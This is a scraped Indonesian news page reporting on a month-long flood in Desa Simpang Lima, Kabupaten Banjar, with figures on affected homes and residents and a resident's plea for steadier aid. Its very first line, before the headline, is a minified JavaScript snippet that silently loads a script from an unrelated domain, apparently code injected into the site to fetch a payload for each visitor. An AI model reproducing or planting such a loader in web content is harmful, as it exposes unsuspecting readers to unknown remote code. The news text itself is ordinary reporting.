(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjir Masih Lumpuhkan Desa Simpang Lima, Warga Bergantung Bantuan


KANALKALIMANTAN.COM, MARTAPURA — Banjir masih menggenangi wilayah Desa Simpang Lima, Kecamatan Cintapuri Darussalam, Kabupaten Banjar. Aktivitas sosial dan ekonomi masyarakat masih lumpuh.

Ketinggian air di kawasan itu masih mencapai 30-90 sentimeter atau setara paha orang dewasa itu menyebabkan warga hanya bisa mengandalkan perahu kecil untuk beraktivitas sebab akses jalan tak dapat dilalui kendaraan darat.

Rumah warga, fasilitas umum, dan akses penghubung antar RT masih terendam banjir. Kondisi ini berlangsung hampir satu bulan nenyamai banjir besar di tahun 2021 silam.

Baca juga: Pemkab Kapuas Bentuk Tim Seleksi Dewan Pengawas Perumdam Tirta Pambelom

Data banjir Desa Simpang Lima per 8 Januari 2026 menunjukkan, ada sebanyak 104 rumah terdampak dengan total 104 Kepala Keluarga (KK) dengan 303 jiwa.

Rinciannya, di RT 01 terdapat 55 rumah dengan 48 KK atau 138 jiwa, sementara di RT 02 tercatat 49 rumah dengan 56 KK atau 165 jiwa terdampak banjir.

Salah satu warga, Agus menuturkan, banjir datang mulai 21 Desember 2025 dan terus bertambah ketinggian seiring hujan turun.

Baca juga: Dishub Balangan Pasang 200 Unit PJU di Jalan Desa Uren-Tabuan-Lalayau

“Kalau hujan, air pasti naik lagi. Sampai sekarang belum surut,” kata Agus, Rabu (14/1/2026).

Diketahui, beberapa bantuan telah disalurkan ke warga terdampak baik dari pemerintah kecamatan, relawan, kapolsek, serta warga setempat.

Dengan kondisi seperti ini, warga hanya bergantung pada bantuan yang masuk. “Bantuan memang sudah ada, tapi karena banjirnya lama, kami berharap bantuan bisa lebih rutin dan berkelanjutan,” ungkap Agus.

Baca juga: Musrenbang Kecamatan Kapuas Barat, Bupati Wiyatno: Harus Menyentuh Realitas Warga

Dengan demikian, warga berharap adanya perhatian serius dari pemerintah daerah dan instansi terkait mengenai banjir di Kabupaten Banjar, terutama di Desa Simpang Lima.

Bencana semacam ini menjadi siklus tahunan yang terus berulang tanpa ada solusi jangka panjang. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor : bie


Risa

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

4 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

11 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

15 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.